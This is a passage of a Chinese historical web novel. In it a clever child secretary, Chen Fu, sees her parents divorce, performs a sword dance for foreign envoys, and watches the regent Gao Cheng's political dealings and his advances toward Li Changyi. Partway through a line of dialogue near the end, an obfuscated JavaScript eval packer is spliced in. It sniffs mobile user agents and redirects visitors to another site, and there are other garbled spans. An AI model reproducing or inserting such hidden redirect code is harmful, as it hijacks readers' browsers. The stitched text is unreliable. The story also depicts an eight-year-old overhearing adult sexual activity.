李氏看着那纸和离书,清晰地写着‘夫妻缘尽,各还本道’,巨大的悲伤和十几年夫妻情分涌上心头,终是控制不住,痛哭起来。 泪水大颗大颗地滚落,晕开了墨迹,她哭得喘不上气,却还是颤抖地拿起笔,一笔一划,写下了自己的名字——李孟春。 当最后一笔艰难落定,陈元康像是打完一场败仗,拿着那唯一的战利品,颓然又解脱地起身,想要赶紧离开这个窒息的地方,却转脸看见了不知在身后站了多久的女儿。 陈扶走向哭泣的母亲,拿起属于她的放妻书,用帕子小心拭去泪渍,扶住母亲肩膀道: “今日之后,阿母当重梳蝉鬓,再扫娥眉。或逍遥自在,余生静好;或巧展窈窕,再遇良人;残冬尽处春光现,一日光阴一重锦!” 她即将开启一个与他再无瓜葛的人生,陈元康只觉心口一阵剧烈闷痛,像是被什么东西凿穿了。 最后看了眼伏在案上之人,脚步虚浮地逃离了这个曾经的‘家’。 陈扶安静地跟在他身后,送至府门。 “阿耶大喜之日,阿扶便不去观礼了。那日阿母必定伤心无助,需有人照看。” 陈元康心头像是被细针扎了一下。 他确实对女儿有过怀疑,她曾在丞相别府预言舆论,以及世子找过大王后,大王忽然的苦劝……但他还是掐断了那念头。他不愿,也不敢去想这一切与女儿有关,他宁愿相信她只是善于料事。 “知道了。阿扶……懂事。” “阿耶和阿兄的衣物藏书等,阿扶已命人收拾妥当。待阿耶安置好新宅院,便遣人全部送过去。” 陈元康心蓦地一空,一种失去的恐慌攫住了他。 他与这个女儿,虽因职务之故聚少离多,可每次归来,她总是那般乖巧孝顺,其弄章慧辩之才华,人情世故之天赋,更是令他骄傲、为他所看重。 他从未想过,有朝一日会面对她如此疏离的神情。 踌躇片刻,终还是忍不住问道:“阿扶日后,是否……便要与阿耶生分了?” “那阿耶有了新妇,有了新女儿,会与阿扶生分么?” “当然不会!”陈元康脱口而出,“阿扶永远是阿耶的孩儿。” “只要阿耶对得起阿扶,阿扶自然会认阿耶。” 这话听着妥帖,细思却叫陈元康心头发冷,仿佛一把柔软的刀子割在心口。 “知道了。”他机械地说着,“与你阿母说,下月甲辰,阿耶便要随大王返回晋阳了。” “望阿耶一路保重,诸事顺遂。只是,就不必告知阿母了,以后阿耶要去哪里,都与阿母没有关系了。” 他张了张嘴,终是什么也没能再说出来,转身离开了。 甘露与净瓶走上前来。 看着暮色中那格外寥落的背影,甘露叹道:“虽是……活该吧,可瞧着郎君那模样,倒也有几分可怜。”她转向陈扶,语气带上敬佩,“女郎真真是为娘子出了口恶气!” 净瓶却笑道:“仙主哪里是为了出一时之气?那些房契地契,如今可都实实在在握在娘子手里了。娘子疼女郎疼得什么似的,往后这些,还不都是女郎的嫁妆?可若是郎君带走了,”她意味深长地摇头,“只怕就和女郎半枚铜钱的关系都没了!” 陈扶轻斥一声:“刁童儿!” 净瓶知这是夸她,便笑嘻嘻顺着话头又道:“咱们娘子虽非高门,却是实打实的美人儿,性子也实在。郎君如今被那高门迷了眼,日后定要后悔!说不定没俩月,就要寻个由头上门来望望呢。” 陈扶抬手掐指,“今年不会来了。” “女郎是算到……那卢氏与郎君格外情投意合,绊住他了?” 陈扶摇摇头,目光投向河东方向,“高王,要去征玉璧了。” 她记得很清楚,高欢两次玉璧受挫,第一次,就是今年的秋冬。 “那……能赢么?” 陈扶脸上是檐下观雨、事不关己的漠然。 “那可是克他之地,如何会赢?” * 西厢园中,陈扶的剑锋划过盛夏的桃李,深秋的枯叶,及至腊月枝头落雪。 净瓶为收势的她披上外氅,终是按捺不住心中积攒已久的疑惑,“仙主苦练这杀人之技,莫不是要暗杀那兰京?” “你想说什么?” “奴婢去岁去学莼羹时,见那东柏堂后厨的规矩,与咱们府上不同。咱的厨子日日要出去买菜,可他们采买另有专人负责,庖厨只管灶台。” “全无休沐之日?” “别的厨子是有的。可兰京是南朝俘虏,苍头薛丰洛防着他南逃,连后院月洞门都不准他迈出半步呢。” 陈扶闻言,脸上依旧从容,“所谓解厄,若能提前除魔,自然清净省心。若无此机缘,阻止那厄运发生便是。” 距离高澄被刺杀还有七年,期间能寻得机会杀掉便杀,若当真点背到找不到任何机会下手,阻止他刺杀亦可。 无论如何,剑术绝不会白学。 两人穿廊去往正堂。 自和离后,阿母便将老家的外公、外婆接来同住了。此刻堂内炭火烧得旺,外婆正笑眯眯地忙着张罗上供的果品,甘露在旁帮手,外公则慢悠悠地品着黄酒。 陈扶正要接过阿母递来的热巾子,忽见窗外两个黑影闪动,一披着玄狐大氅的身影正踏雪而来。 她眸光微动,轻声提醒:“大将军来了。” 一家子忙放下手中活计迎出去。 高澄握着诏书立在阶前,目光掠过悬着‘李’字灯笼的檐角,扫过不见雪痕的石阶,最后定定落在李氏脸上。 陈元康从不带夫人出席任何宴会,这是他第一次得见李氏真容。 三十许年岁,竟仍保有几分少女之相,一双狗儿似的眼睛漆黑浑圆,肤白胜雪,通身透着一种干净单纯之感。 虽非他偏好的明艳妩媚之类,但这般我见犹怜的品貌,有的是高官显贵会喜欢,绝不愁再嫁。 高澄收敛心神,展开诏书, “咨尔李氏孟春,禀性柔嘉,持身淑慎。佐夫以勤,克彰以贤,育子以德,聿成家室之良。特封尔为广宗郡郡君,锡之荣号,用彰淑德。钦此!” 念罢,他合上诏书,看向伏地叩谢的李氏,“李孟春,生日在初春?” 李氏忙抬眼笑回:“大将军明鉴,正是。” “起来吧。”将诏书递给她,意味深长道,“生了个好女儿。” 李氏憨然一笑。 “阿母,好好裱起来,与我那道诏书并排挂好。” 陈扶望向高澄,“阿母安身之田宅,立命之封诰,全家之衣食,全赖大将军垂怜弱小,体恤寡幼。此等再造之恩情,可要牢牢记住了。” 李家众人闻言,更是感激涕零,那股热络真挚的实在劲儿扑面而来。 外婆塞给他一暖烘烘的手炉,李氏奉上瓜果热茶,外公请他上座,絮絮说着:“这邺城就是比我们威县好啊!”外婆也憨厚接口:“是啊是啊,不过托大将军的福,如今威县也好啦,都分到了好田哩......” 他们围着他,不像臣民对待权臣,倒像是自家长辈对待一个极有出息、又肯照顾家里的晚辈,七嘴八舌,透着股让人放松的烟火气。 高澄身处其间,感受着这与东柏堂和大将军府截然不同的、毫无机心的温暖,看着那张与陈扶眉眼极为相似的面庞,一时之间,竟有些恍惚。 数年后稚驹及笄长大,是否也会出落成这般模样?不,稚驹饱读诗书,深晓经史,不会是这般质朴之情态...... “世子。”刘桃枝的声音打断遐思,“铜雀台的宴席,时辰将至了。” 目光扫过陈扶,见她只穿着件青白襦裙,起身道:“你也跟着去,把你那件灰鼠皮斗篷穿上。” 牛车碾过邺城的积雪,远远便望见铜雀三台的轮廓。 踏入台顶大殿时,熏香暖意裹了过来,殿中燃着几十根盘龙巨烛,墙角立着烧得正旺的铜炉。 邢邵等文人与主客令等官员已在席上,见高澄进来,纷纷起身见礼。 高澄目光扫过殿中。席上已摆满珍馐,舞姬们穿着舞衣候在殿侧,乐师也已调好乐器,只待使者到场便开宴。 他对刘桃枝道:“去瞧瞧使者们到哪了。” 刘桃枝刚应声,殿外便来通报:“蠕蠕、高丽、吐谷浑国使者到!” “走,去殿外迎一迎。” 众人跟着高澄走出殿门,不多时,便见一队人马踏着积雪而来。蠕蠕、高丽、吐谷浑使者都穿着厚实的异域皮袍,身后的随从捧着贡品,在雪地里留下几串深深的脚印。 高澄笑脸迎上,“腊月天寒,快进殿暖暖,酒已温好,正等着诸位呢。” 蠕蠕使者哈哈一笑,“大将军客气!咱蠕蠕人不怕冷,倒是劳烦大将军这般费心,早听闻铜雀台气派,今日一见,果然名不虚传呀!” 主客令致辞开宴,舞姬们柔美起舞,典正的清商乐,如漳水汤汤,流淌在雕梁画栋间。 酒过三巡,邢邵带头献诗作赋,贺诸国使者远道而来。 高丽与吐谷浑的使者纷纷称赞,蠕蠕使者却笑道:“先生们的诗确实好,比那西边强多了。可你们这舞,可是和那梁人学的?也太软了,不如西边的男子舞啊。我们蠕蠕人在腊月里,就爱瞧那有劲儿的,看着都暖和!” 柔然是东西魏竞相拉拢的力量,他并非刻意挑衅,只是实话实说,但这‘西边更好’的论调,无疑给这场彰显东魏文化优越的宴会泼了盆冷水。 若此时叫几个男舞者来,又不见得能压过西贼去。 高澄面上笑容不变,眸色却沉了。 斛律光正思虑要不要上前舞剑助兴,却见那陈女史已起身出席,近前对那蠕蠕使者施了一礼,笑盈盈道:“使者所言极是,腊月天就该看些‘暖和’的。不知使者可否借佩剑一用?小女不才,愿献剑舞,博诸位一笑。” 一个玉雪可爱的女童竟要借剑献舞,那使者愣了愣,随即哈哈大笑,拔出腰间佩剑,“小丫头胆子不小!这剑可开了刃啦,你可要小心啊!” 陈扶接过掂量一下,暗舒一口气。 不重,她素日练的软剑最考验腕力与控制力,能驾驭软剑,对付寻常铁剑,反倒从容。 却见她缓走到殿中央,御剑于面前,敛笑垂目。 丝竹声骤然停歇,一声浑厚的鼓声“咚”地响起,这鼓声似冬日惊雷,也似一道号令,陈扶猛地睁开眼睛。 方才的乖巧消失得无影无踪,眸中凌厉,仿佛眼前不是宾客,而是千军万马的战场。 蠕蠕使者端酒盏的手顿在半空,这小丫头的姿态,还真有几分塞外武士临战前的肃穆。 随着第二声鼓点响起,陈扶动了,起初的动作并不快,旋身如流风回雪,剑指 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吟出尾联:“观舞知国势,岂独在词章!” 殿中静了下,随即爆发喝彩。高丽使者叫好,“好个观舞知国势!真真文武双全!”吐谷浑使者连连称赞,“中原果然人才辈出,连小女子都如此!” 那蠕蠕使者更是直接起身,解下腰间玉佩,扔给陈扶,“小丫头,这玉佩送你!往后你若去塞外,咱蠕蠕人请你喝最烈的酒,看最劲的舞!” 高澄坐在主位,眼底的痛快简直要溢出来。 煌煌国威借女儿家剑舞彰显得淋漓尽致,殷殷邦交亦在她讨喜的互动里悄然巩固! 丝竹声重新响起,调子比先前更欢快。殿内的气氛愈烈,使者们拉着大家拼酒量,粗哑的笑声混着酒盏碰撞;又畅饮了小半时辰,个个喝得熏熏然。 高澄揉揉发胀的太阳穴,给主客令使了个眼色,声音带着几分沙哑,“送诸使去楼上暖阁歇息,把铜炉都添满炭。” 主客令对几个舞姬抬了抬下巴,几人便跟在主客令身后,随着诸国使者往楼上暖阁走去了。 高澄自己也觉燥热难当,目光扫过余下舞姬,定在一姿容最为妩媚、眼波尽是风情的身上。只一个眼神,那舞姬便会意,唇角含春,袅袅娜娜地先行退出了大殿,消失在廊道里。 方才客人在时陈扶全神贯注笑对,此刻松懈下来,才感到左腕内侧传来一阵刺痛。 掀开袖口一看,竟有一道口子,血珠正不断渗出,已染红了衣袖。 起身去找刚离席的高澄,见他正朝殿外走去,便加快脚步跟了上去,想让他找个医官来。 然而,高澄的步伐很快,她刚赶到廊道,便看到那背影布入了一间耳室中,半掩的雕花门内,高澄将一舞姬拽到屏风后,屏风瞬间映出两个交叠的身影。 “别......啊......” “怎么?还需我教你?” “大将军说笑......奴婢怎敢......” 屏风上投影突然变形,那熟悉声线浸透狎昵,“流了这许多?就这么急着要我进去?” “大将军~” “叫得不够好,再好听些,就多赏你几回快活。” “啊......大将军......饶了奴吧......” 陈扶默默转身,回到了散场的席间。 伤口仍在渗血,跳痛一阵阵传来,但她脸上看不出丝毫异样,只安静地跪坐在自己的位置上。 这一切,都被值守殿内、目光如鹰的卫将军斛律光看在眼里。 看到了那得他真传、惊艳绝伦的剑舞,也看到了她追去后又独自归来,更看到了她衣袖上那片红色。 略一沉吟,走了过去,在她身旁单膝蹲下。 “女史,得罪。”不等陈扶反应,他已利落地从自己内袍下摆撕下一条干净的布帛,熟练而迅速地为她包扎了伤口,松紧恰到好处,既止了血,又未更弄疼她。 半时辰后,高澄回到席间,见陈扶还坐在那里,便伸手要将她拉起。 指尖尚未触及,陈扶已丝滑侧身避开,自己站起身道:“劳烦大将军找个人送稚驹回府。” “我亲自送你。” 高澄跟上那自顾自往外走的小身影,斛律光见状,亦默然随行。 殿外台矶湿滑,台下雪水泥泞,高澄习惯性地要抱她,就像过去无数次要走难行之路时那样。 然而那小身子又像个泥鳅似得躲过了。 “怎么了?”高澄终于察觉异样,俯身盯看那小脸。 “难闻。” 高澄愣了一瞬,拎起自己衣衫凑到鼻尖闻了闻,“铜雀台用的都是上好的薰香,哪里难闻了?” 陈扶不言。 他心情极好,耐着性子哄小功臣:“好好好,既不合我们稚驹的意,明就下令,铜雀台往后不许再用这种香!” 他再次伸手,陈扶却依旧抗拒,小小身体绷得紧紧的。 一旁的斛律光俯身将陈扶抱起来,解释道:“世子,女史怕是伤口疼痛,心情不佳。” “受伤了?!”高澄这才注意到那片红色,蹙眉道,“还疼不疼?回去让医官好好瞧瞧......” 那张小脸深深埋进斛律光肩窝,毫无反应,一动不动。 二人往牛车处走,斛律光想了想,还是说道:“世子,日后此类场合若女史在,还是......稍加避忌为好。” 高澄凤目微眯,“什么意思?”对上斛律光‘世子明明懂’的眼神,嗤道,“不是已经避开她了么?” 看眼蜷在斛律光怀里‘睡着’的小人儿,浑不在意地补充,“何况她还小呢,懂个什么。” “陈女史,非寻常孩儿。” 高澄闻言,像是听到了什么笑话,“那是两码事。那些学富五车的博士,多得是入了洞房找不着门的。稚驹是才学颖悟,可于男女之事又无人开蒙,哪里懂来?” “可......” “好了,待她再大些,我自会注意。” 17.第17章 正月的邺城,年节味尚浓,街上皆是一家子闲游,孩童提着蟠螭灯追闹。 东柏堂的案上却已堆满文书。 高澄斜倚案前,手中把玩着镇尺,目光落在正禀报春耕计划的尚书右仆射高隆之身上。 待其语毕,高澄才开口,“知道为何要大赦天下,改元‘武定’么?” “隆之愚见,可是取‘以武定天下’之意?” 高澄唇角微扬,“想以武定天下,可知什么是最要紧的?” “隆之愚钝,愿听大将军教诲。” “稚驹,告诉高右丞,以武止戈、平定乱世,什么是最要紧的?” 案前垂眸研磨之人轻声道:“人。” “女史所言极是。”有了方向的高隆之恳切陈词,“自和阴之变后,战乱频仍,百姓流离,或逃亡避世,或依附豪强。如今燕、恒、云、朔、显、蔚等地,大量户口或被世家藏匿没为私奴,或被豪强编为部曲私兵,不缴赋税,不应徭役。此弊不除,朝廷税源枯竭,兵员匮乏,空有武定之名,而无平定之实啊!” “好!算你看到了根子上!”高澄坐直了身子,一扫慵懒之气,那双凤目猛禽似得锐利起来,“我打算授你为括户大使,大括上述诸州逃户、隐户!将那些藏在坞堡里的丁口,都给我清出来,让他们回到土地上,成为我大魏的编户,纳粮服役!” 他站起身,踱步到高隆之身侧,“若有不肯放人的世家豪族,不必手软。查实罪证者,财产全部充公,反抗者以谋逆论处!高延兴,这得罪人的活,你能啃下来么?” 高隆之心中一热,“此举既能充盈国库,亦可剪除地方毒瘤,实乃为国之善政也,臣定不辱使命!” “好!”高澄将他扶起,“去吧,诏书不日便送你府上。正月里辛苦些,事成之后,本将军自有重赏。” 高隆之领命退了出去,高澄重新倚回案前,接过陈扶递上的茶浅呷一口,目光落在她平静的小脸上,“一个字就点醒了三品大员,我们稚驹,了不得啊。” “稚驹说‘人’原是讨巧,此字包罗万象,作何解释都可。是高右丞心系邦本,忧怀国事,自行引向了时弊痼疾。” “小东西,惯会把功劳往外推,”看她又拿起墨锭,夺过扔在一边,“歇会儿,磨一上午了。” 午食是简单的几碟热菜,高澄没吃几口,喝了碗粟米粥,便又回到案前。 刚批了两本文书,外面传来通报:御史中尉崔暹求见。 崔暹步履生风地走入,神色肃穆,他手中捧着好几本奏疏,躬身行礼后,直接呈上:“弹劾名单与罪状臣已拟毕,请大将军过目。” 高澄有些讶异,这么快?他这才刚居宪台几天啊。* 接过,展开,迅速扫过上面一个个显赫的名字:尚书令司马子如、尚书元羡、雍州刺史慕容献,太师咸阳王元坦、并州刺史可朱浑元……后面罗列的罪状,从贪赃枉法、侵占民田到纵容部曲,林林总总。 他看得仔细,良久,合上奏疏,丢回崔暹怀中。 “干得好!”话锋一转,唇角勾起一抹冷峭弧度,“不过,这些人随便动一个,朝野都要震三震。你这一锅烩了端上去,是生怕他们不联手反扑啊?” 崔暹眉头微蹙,“大将军的意思是?” “分两拨吧。先动司马子如、元羡、慕容献。这三人性子软,且民怨甚大,拿来立威再合适不过。待他们倒了,再从容收拾元坦、可朱浑元这帮硬骨头。” “暹明白了。” 高澄眯了眯眼,“司马子如曾有恩于我,必要找我说情。再把罪状夯实些!每条罪,都要有确凿的人证、物证,要写得清清楚楚,明明白白,让他无从狡辩才好。” 两人遂伏案详谈,一条条核对推敲。 高澄时而凝神细思,时而一针见血地指出关键,待最终敲定,窗外天色已然昏黄。 公务既毕,崔暹紧绷的神色终于稍缓,语气多了几分人情味:“大将军,今日公务已毕,若没有其他吩咐,容暹告退。舍妹今日结婚,我这个做兄长的,总需去露个面才好。” “噢?是今日么?” “正是今日。”崔暹深深一揖,“愚妹之事,全赖大将军为我崔氏做主,保全颜面。荥阳郑氏门第清贵,诗礼传家,远非……那背信弃义的高慎可比!” 高澄随意一摆手,“你既是我的人,我自会为你撑腰。走吧,我也去,给她撑撑场。”目光一转,落到正收拾书案的陈扶身上,“走,也带你去瞧瞧热闹。” 车驾在暮色中驶向郑家在邺城的宅邸。 三人一路说笑,然而,刚停下车,高澄脸上的笑意便淡了下去。 永安郡公高浚正带着几个纨绔子弟,嬉笑着堵在门口。 高澄沉着脸把人扯到一边,“你不是该在金明门当差么?” 高浚先是一缩脖子,又梗着脖子道:“好友婚礼,自是要来‘闹婚’的。” “我让你试守城门校尉,是让你历练军政,你当成儿戏!” 高浚仿佛被戳到了痛处,积压的委屈和愤懑瞬间爆发,红着眼道:“试什么啊?!试半天,阿耶难道就真会让我做校尉?反正他怎么看我都不顺眼,压根也没把我当儿子!我也确实不是……” 大家都说他阿母当初是怀着他嫁的高欢,说他根本就不是高家的种…… “胡说什么呢!” 高浚被他一吼,眼泪止不住地掉了下来。 看弟弟这副模样,高澄叹了口气,用力揉住高浚的后颈,将他揽到近前,“好了,阿耶要的也不是亲生儿子,是有用的儿子。你阿兄我四岁时,因妨碍他逃跑,被他连连放箭射杀;可现在呢,我即便再‘不敬’,也不过挨几十军棍了事。为何?因为我现在有用!” 说完,他重重拍了拍高浚的肩膀,“好好想想!”不再多言,转身往郑府走去。 陈扶跟了进去,顿住,又折返出了府门。 高浚仍失魂落魄地站在原地,陈扶走到他面前,仰头看着他。 “永安郡公,难道你想让大将军,也认同大丞相对你的判断么?” 高浚别过脸,语气灰败,“阿耶都不认可我,阿兄……阿兄他又怎么会真心认可我?” “大将军是什么样的人,你做了他十几年的弟弟,难道看不明白么?他是个惟务实效之人。你二兄太原公,性情木讷,与大将军投机么?很不投机吧?但只要有能力、能办事,就能得到重用。别说大丞相很可能对你并无偏见,即便他真不喜你,也绝不会影响大将军对你的判断。” 她顿了顿,继续道:“永安郡公眼神很好,能看清近处之细节,却似乎看得不够远呢。” “……什么意思?” “沙场弓剑无眼,”陈扶声音压低,“你觉得,大将军完全做主的那一天,会很远么?如果你继续这样自暴自弃,等大将军做了渤海王,就算他彼时再喜欢你,也不会用你了。” 这番话,如同暮鼓晨钟,敲在高浚耳边。 他脸上的颓唐、委屈、愤懑渐渐被思索所取代。默了会儿,猛地抬手用力抹了把脸,对陈扶微点了点头,毅然转身,大步向金明门方向而去。 陈扶静静看着他远去,才转身进了大门。 正月的风很冷,郑府庭院里却热闹得掀了顶。 青布织就的巨帐撑得老高,边角缀着鎏金铜铃,风一吹便叮当作响,帐内以屏风隔出礼席区,烤着暖和的炭火。 赞礼官的唱喏声穿透喧闹:“新人交拜——” 新郎对着蒙团扇的新娘躬身行礼,平辈子弟们立刻起哄,“新郎官诗呢?没诗不让却扇啊!” 红着脸吟了首《却扇诗》,团扇才缓缓落下,新娘崔氏眉眼温婉,惹得又一阵嬉闹。 案上吃□□巧,其中一盏浆饮澄澈清亮,水汽袅袅裹着淡淡桂香。 陈扶指尖碰了碰,温温的正好不烫口。她抿了一口,桂花的清甜在舌尖化开,不浓不腻,尾调竟藏着丝梨肉的绵润,咽下去时连喉咙都觉得润暖。 她端起盏一饮而尽。 待高澄致完辞归席,她已把他的也喝了,还把自己不需要的竹叶青酒给他倒了进去。 凤目扫过自己那两盏一模一样的,和小人儿那两空的,唇角微勾。 奉酒的奴婢提着银壶过来续添,轻声告知:“小娘子,这是酒,少喝些。” “啊?”陈扶微愕,“竟半点酒味都没有。” “小娘子莫怪,这是用桂花蜜煮的,只是喝着像甜水。” 身侧一声嗤笑,“还偷喝么?” 不等她回应这揶揄,帐内的起哄声又起,新郎正被众人围着灌酒,崔暹忙上前解围。 见她看得入神,高澄道:“你阿母若想改嫁,我可为其指婚,也在四姓里选,到时婚礼,我也会亲至。” 她阿母被陈元康休了,为了娶那卢氏,崔暹之妹被高慎休了,为了娶那李昌仪,原是一般遭遇。 “大将军好意,阿母不是非要再嫁的,有大将军赐的郡君诰命,有亲友相伴,阿母往后便是一人,亦是好人生。” 高澄低笑,那笑 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高澄盯着她那因醉意而绯红的小脸,眸色转深,“还是姓高的吧。” 酒意让陈扶不及多思,思绪跳脱,言语无忌起来,“以姓论高低,是落后于时势之旧,迟早要被淘——唔!” 高澄捂着她的嘴,嗤笑,“小东西,你是真醉了。” 他当即将她抱起,去向崔暹辞别。在这满座以姓为尊的门阀之地,说人家要被淘汰,若再待下去,不知这醉酒的小祖宗还要吐出何等惊世之语。 牛车粼粼而行,高澄将她置于膝头,调侃道:“这里随你胡说。” 小人儿也不客气,当即开口,“国家是想让百姓安居乐业的……可他们,”小手胡乱一指车外,“却只想兼并土地,掠夺人口……就盼着国家遭难,自耕农破产,好吸纳为隐户、部曲……” 高澄垂眸盯着膝上之人,诱哄般低问:“那该如何扭转?小王猛。” 怀中小人儿显然对这称呼颇受用,认真起来,“这都是因为……‘九品中正制’,国家选官只看出身,导致门阀士族垄断要职。官员对家族之忠诚,远高于对国家。” “稚驹讲得有理。” 她抬头盯看他,醉语呢喃:“自大将军辅政以来……大魏才开始根据才能挑选官员,大将军还亲自写书征召各地才学之士……品德好、有本事的人,这才都得到了提拔重用……一时安排不了的,还将他们召为宾客,在府中供养起来……这就……很好。” 高澄知道,这是她酒后吐露的真言。 这小东西是真切地认为他做得对,她是真的懂他,是真的理解了他每一项举措背后的深意。 怀中人不适地咳嗽了声,他下意识地将人往怀里拢了拢,让她窝得更舒服、更暖和些。 “还有么?”他还想听。 “这方面,那个梁皇帝……做得挺好。虽然他如今懈怠了……但其在早年,设立过招收寒门弟子的五经馆,学生免学费,食宿全由国家供给……生员只要能精通一部经书,经过考试后都可录用为官。哪怕是放羊的,看牛的,只要能考上……” 高澄若有所思,重复着最关键的信息:“以考取士?” 怀里人点了点头,不再言语。 陈扶再次睁眼,已是第二天。 匆匆洗漱,赶往东柏堂时都巳时了,日头已近中天。 高澄正与崔季舒说话,见她进来,眼风斜斜一扫,唇角便牵起一丝了然的笑,将手边一盏温茶推了过去。 这个时辰,崔季舒早已禀报完宫中那位天子的日常起居,此刻谈话内容,多半并非公务。 果然,高澄目光转回,戏谑道:“昨我看崔暹那妹妹,虽寡淡些,却也颇婉丽。那李昌仪是何等绝色?能让高慎那般急着休妻,连我的面子都顾不得了?” 崔季舒笑道:“那李昌仪出自赵郡李氏西祖,美艳出众,与太原公之妻李祖娥同出一族,论起辈分,她应是李祖娥的姑姑。” 高澄眉梢一挑,眼中掠过了然,“难怪……那应是艳丽的。” “不止长得艳丽,”崔季舒咂咂嘴,“还擅长书写呢,啊,还会骑乘,可称得上是文武全才之佳人。不怪那高仲密被迷得神魂颠倒。” “是么?文武双全?”高澄轻笑一声,下意识目光一转,落到了正小口啜饮醒酒茶的陈扶身上。 只一瞬,便又移开,他眯了眯眼,语气满是兴味,“那我可得瞧瞧,去,把人给我叫来。” 18.第18章 炭火烧得噼啪作响,更添几分燥闷。 陈扶垂手在案前,心里却不如面上那般静。 她知道接下来这里要上演什么,毕竟高澄调戏李昌仪,那可是历史名场面。 可她不明白,高澄为何不支开她? 方才她已寻了个由头,说要出去拿些炭添炉子,可高澄眼皮都没抬,只道:“让刘桃枝去。”她又道去瞧瞧新到的墨锭,谁知那人却扬着笔尖反问:“你去了谁研墨?” 她只得依旧钉在这里,盯着砚台发呆。 他点点文书上渐淡的墨痕,示意她继续磨墨。 不是,真当她是个石头,半点不通人事么?她都八岁了!月前斛律光还劝过,说那种事……该避着她些。如今看来,全是耳旁风! 正思绪纷乱,崔季舒已引着一人进来。 那女子脸上施了薄粉,五官明艳,一身胭脂色杂裾垂髾,像一株盛开的红梅。高髻上一枚点翠金凤,振翅欲飞,眉梢挑着股锐气,好似开在峭壁似得傲然。 是李昌仪。 高澄搁下笔,示意崔季舒回宫去吧,待人一走,身子向后闲闲一靠,目光将堂中之人从上到下细细打量个遍。 “你真敢来?”他声音里含着笑,像友人打趣,可那眼底深处,却是一片审度。 李昌仪迎着他目光,毫无怯意,连唇边的弧度都未少半分,“若大将军要用强,便是对渤海高氏动了赶尽杀绝之心了。既动了这等心思,那便躲得过今日,原也躲不过明天。为何不敢来?” 她顿了顿,眼波扫过高澄,“还是说,大将军真动了那心?” “你倒是疼他。”高澄眼神亮了亮,像猫见了会蹦跶的耗子,“来我这儿探口风来了?” 他话里的‘他’,自然指的是李昌仪的夫君,高慎。 李昌仪语气软了软,笑眯眯道,“这不是怕那崔暹蓄意陷害嘛?总要亲自来问问大将军,得了准话,方能安心。” 高澄也笑着,只是那笑意未达眼底,只皮肉牵动着,“高仲密身在御史台,却只知提拔其姻亲乡旧,又纵容属下徇私枉法。这等行径,还需他人费心陷害?”他略顿一顿,眯眼看她,“你跟着这般人,能有何前程?” 这话里的意思,李昌仪如何听不出。 她眉梢微挑,竟直接点破,“跟着他,府中事无巨细,我说了便算。若是跟了大将军这样的,身边珠环翠绕,美人如云,上头还有公主压着,哪里轮得到我说话啊?” 她眼波在高澄面上一转,带上讥诮,“只怕便是那冯翊公主,在大将军面前,也当不得家、做不得主吧?” 高澄起身逼近她,“虽做不得主,然却有其他好处,你试一回,便知我比你夫君,好在哪里。”说着手便要向她的脸颊探去。 李昌仪“啪”地一声打开,细眉竖起,“若是我夫君的阿兄高敖曹将军尚在,大将军绝说不出跟着其弟无前程之言。莫不是觉着,如今高敖曹将军不在了,便欺他渤海高氏无人了?” “可便就是渤海高家无人了,我赵郡李氏,多的是顶立门户之人呢。” “好刁的一张嘴。”高澄不怒反笑,朝陈扶瞥了一眼,又转回眼前,落在李昌仪明艳的脸上,“高慎那般温吞水似的,能给你什么趣味?” 李昌仪欲抬手再打,这回却被他一把捉住了手腕。 “若跟了我,”他声音压低,气息拂在她面上,“管叫你连抬手打人的气力也没。” 一旁的陈扶不由翻了翻眼珠,八岁实是个尴尬年纪,懂的太多不对,装不懂又太假,她该以何种表情观看合适呢...... 李昌仪挣扎不得,目光倏地瞟见陈扶,唇角一勾,“大将军,你家孩子还在呢。” 高澄头也未回,只笑道:“我家孩子才八岁,心思纯澈,不似夫人这等熟/妇,什么话都听得懂。” “是么?” 李昌仪与那小人儿幽黑无波的目光一触,心下便了然。这女童,绝非长得那般不谙世事。 “大将军。妾身冒昧问一句,当年冯翊公主下嫁你时,年方几何啊?” 此言一出,高澄面上的笑意蓦地一凝,攥着李昌仪手腕的力道不自觉松了。冯翊公主元仲华嫁与他时,不也正是陈扶这般年龄? 他默了片刻,终是彻底放开了手,神色间那点狎昵与戏谑淡去,重新坐回案前,语气转为谈公务时的疏淡,“夫人回去,好生思量。” 李昌仪理了理被攥皱的袖口,没再多说,只朝高澄略一施礼,出门时,又与陈扶对了一眼。那一眼没有敌意,倒有几分笑意。 窈窕香影虽已消失门外,空气中却还残留着微澜。 高澄目光在陈扶脸上一顿,一丝罕见的尴尬拂过他眉宇,但也不过一霎的工夫,那点子不自在便散了。 陈扶觉出这是一划界限的绝佳之机。 “稚驹觉着……大将军方才随意碰李姐姐,似乎不大对呢。” 高澄眉梢一挑,浑不在意,“哦?碰一下便不对了?我碰你还少么?去哪儿不是抱着你?” “大将军提的有理,”陈扶顺势便接过了他的话,“想来你我原也是不对的。《礼记》有云‘七岁男女不同席’,稚驹今年已过了七岁,再这般确是不合礼数,既如此,往后大将军便不必再抱稚驹了。” 这一下,如同反手将了他一军,高澄先是一怔,眼底掠过一丝不悦。 “曹魏以来,谁还遵从什么《礼记》,”他哂笑,“你是我的女史,若想辅弼称心,讲究的是心意相通。若被‘不同席、不共食’的虚礼隔开,误了正事,这责任是你来担,还是让过了时的《礼记》来担?” 都上升到公务了,陈扶还能说什么。 “大将军道理大,稚驹辩不过。只是想起方才那位李姐姐,眉宇间英气逼人,不像肯轻易受屈的性子。大将军方才直言不讳,叱责其夫高慎,就不怕……打草惊蛇?” “凭他也配称‘蛇’? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586638|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是仰仗父兄余荫的蛀虫罢了,便是惊了他,又敢如何?” 陈扶带上几分稚气,“稚驹听方才大将军的意思,似是劝李姐姐改嫁吧?”看他又闪过尴尬之意,方道,“那惊了二人,难道他们不会添油加醋,将相劝说成逼迫?” “由她说去。”高澄唇角勾起,那笑近乎无赖的坦荡,“若有人当真能信,那便是蠢钝如猪,真要逼迫,她能出得去这门?” 